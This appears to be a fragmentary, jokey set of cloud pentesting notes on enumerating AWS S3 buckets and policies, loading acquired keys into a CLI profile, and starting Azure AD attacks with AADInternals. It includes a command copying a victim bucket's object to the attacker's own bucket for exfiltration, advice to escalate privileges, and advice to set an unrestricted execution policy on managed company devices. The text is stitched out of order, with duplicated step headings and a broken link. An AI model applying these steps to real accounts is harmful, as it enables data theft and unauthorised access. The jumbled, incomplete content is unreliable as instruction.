the bucket mrlee in the west region with an object pizza.jpg and a key of /mafia/pizza.jpg
So lets see what we can access with
aws s3 ls
aws s3api list-buckets
and then look at the objects of the example bucket (foqne in this case)
Okay lets look at access control. Its complicated. In prinziple access control can be ressource based,
via ACL or bucket pawlicy or attached to a bucket or individual object itself, or it can be linked to a user, or role, group, etc. respectivly
Assume we have a bucket policy, to make it more readable you can pipe it and show a json.
Here it would mean that a specific IAM user has the permission to put objects in the bucket if the based check from the department is fullfilled - radical!
By enumerating all these policies, further excalation might be found (depending on the setup), maybe add your own files, change the ACL file itself, add a policy to a ressource etc
aws s3 sync might be useful, or it might be pawsible to exfil the bucket to your own s3, something like
aws s3 cp s3://mrlee/datpizza.jpg s3://mypizzanow/
Step 1: First you gotta decide if this is more of a lazy space vibe kinda thing (A), or (B) calls for some illegal dirty acidcore and adjust your playlist accordingly:
A:
B: soundcloud.com/pitch1/i-can-hโฆ
next drop the keys in your .aws creds file. I typically name the first set initial and work with the --profile tag in the cli, so I can keep track on were I am. Then check who you are first, with:
aws sts get-caller-identity --profile initial
Step 1: Say kiitos to @DrAzureAD then install AADInternals, set your phasers to stun and your POWAHSHELL to german to ensure MAXIMUM efficiency
To import the modul you might have to set your execution pawliciy ๐พ.
For maximum fun we can set this to
Set-ExecutionPolicy unrestricted
on our managed company super safe devices. Do some privesc first if needed ๐